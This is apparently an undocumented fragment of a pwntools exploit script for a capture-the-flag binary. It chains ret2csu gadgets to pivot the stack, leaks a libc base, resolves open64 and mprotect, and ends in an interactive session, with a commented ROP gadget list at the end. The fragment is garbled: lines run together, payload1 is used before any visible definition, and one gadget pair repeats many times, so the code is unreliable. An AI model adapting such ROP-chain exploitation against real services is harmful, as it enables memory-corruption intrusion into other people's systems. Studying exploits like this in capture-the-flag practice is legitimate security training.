payload=p64(0x4010b0)+p64(0x4040c0+0x100)+p64(csu1)+p64(0)+p64(1)+p64(1)+p64(0x403fe0)+p64(0x30)+p64(csu_write)+p64(csu2) +p64(0)+p64(0)+p64(0x4040c0+0x300)+p64(0)*4+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(0x401279) p.sendlineafter("where is fake stack?csu may help you",payload)
p.sendlineafter("true stack is here\n",b'a'*8+p64(0x4040c0+8)+p64(0x4012ed)) p.recv() base=u64(p.recv(6)+b'\x00\x00')-0x10e1e0 print(base) pop_rdx2=base+0x119431 open64=base+0x10df00 mprotect=base+0x118bc0
payload1=payload1.ljust(0x130,b'\x00')+p64(0x4012a3)+p64(0x4012ed)*6+p64(0x4040c0+8)+p64(0x4012ed) gdb.attach(p) p.sendlineafter("where is fake stack?csu may help you",payload1)
p.sendlineafter("true stack is here",b'a'*(8)+p64(0x4040c0+8)+p64(0x4012ed))
p.interactive()
# 0x00000000004011bb : add byte ptr [rcx], al ; pop rbp ; ret # 0x00000000004011b6 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret # 0x000000000040130b : nop ; pop rbp ; ret # 0x000000000040136c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret # 0x000000000040136e : pop r13 ; pop r14 ; pop r15 ; ret # 0x0000000000401370 : pop r14 ; pop r15 ; ret # 0x0000000000401372 : pop r15 ; ret # 0x000000000040136b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret # 0x000000000040136f : pop rbp ; pop r14 ; pop r15 ; ret # 0x00000000004011bd : pop rbp ; ret # 0x0000000000401373 : pop rdi ; ret # 0x0000000000401371 : pop rsi ; pop r15 ; ret # 0x000000000040136d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000119431 : pop rdx ; pop r12 ; ret # 0x000000000015fae6 : pop rdx ; pop rbx ; ret